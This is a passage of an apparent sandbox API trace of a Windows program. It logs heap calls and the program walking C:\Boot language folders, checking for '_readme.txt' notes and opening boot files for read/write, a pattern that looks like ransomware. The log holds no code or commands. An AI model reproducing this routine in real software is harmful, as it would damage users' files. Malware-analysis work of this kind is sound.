dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.459] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0122.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.459] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.459] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.459] PathFindFileNameW (pszPath="") returned="" [0122.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.459] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.459] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.459] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.459] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x30667b8 [0122.460] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0122.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.460] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0122.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.460] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.460] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.460] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.460] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0122.460] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.461] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a7f710, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.461] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned=".txt" [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.461] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a7f710, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.461] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.461] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.461] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.462] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0122.462] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.462] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.462] PathFindFileNameW (pszPath="") returned="" [0122.462] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.463] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.463] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.463] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.463] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0122.463] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0122.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.463] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.463] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.464] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.464] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0122.464] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.464] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.464] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned=".txt" [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.464] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.464] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.464] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.464] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 